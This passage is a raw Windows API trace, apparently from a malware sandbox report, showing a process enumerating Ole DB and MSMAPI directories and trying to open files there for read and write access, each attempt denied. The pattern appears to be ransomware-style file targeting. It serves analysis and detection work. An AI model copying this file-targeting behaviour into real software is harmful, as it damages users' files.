ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0190.954] GetProcessHeap () returned 0x2ef0000 [0190.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x68) returned 0x2f123a0 [0190.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.955] GetProcessHeap () returned 0x2ef0000 [0190.955] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.955] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.955] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0190.955] GetProcessHeap () returned 0x2ef0000 [0190.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26a) returned 0x2f14588 [0190.955] GetProcessHeap () returned 0x2ef0000 [0190.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x72) returned 0x2f09d00 [0190.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.956] GetProcessHeap () returned 0x2ef0000 [0190.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.956] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.956] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0190.956] GetProcessHeap () returned 0x2ef0000 [0190.956] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x274) returned 0x2f11d10 [0190.956] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0190.956] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.956] GetProcessHeap () returned 0x2ef0000 [0190.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.956] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0190.956] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.956] GetProcessHeap () returned 0x2ef0000 [0190.957] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.957] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0190.957] GetProcessHeap () returned 0x2ef0000 [0190.957] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x68) returned 0x2f123a0 [0190.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.959] GetProcessHeap () returned 0x2ef0000 [0190.959] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.959] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.959] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.959] GetProcessHeap () returned 0x2ef0000 [0190.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26a) returned 0x2f14588 [0190.959] GetProcessHeap () returned 0x2ef0000 [0190.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x74) returned 0x2f09d00 [0190.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.959] GetProcessHeap () returned 0x2ef0000 [0190.959] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.959] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.959] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0190.959] GetProcessHeap () returned 0x2ef0000 [0190.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x276) returned 0x2f11d10 [0190.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.960] GetLastError () returned 0x5 [0190.960] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0190.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.961] GetLastError () returned 0x5 [0190.961] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0190.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.962] GetLastError () returned 0x5 [0190.962] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0190.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.962] GetLastError () returned 0x5 [0190.962] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0190.962] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.962] GetProcessHeap () returned 0x2ef0000 [0190.962] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0190.963] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0190.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.963] GetLastError () returned 0x5 [0190.963] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0190.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.964] GetLastError () returned 0x5 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0190.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.964] GetLastError () returned 0x5 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0190.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.964] GetLastError () returned 0x5 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0190.964] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0190.964] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.965] 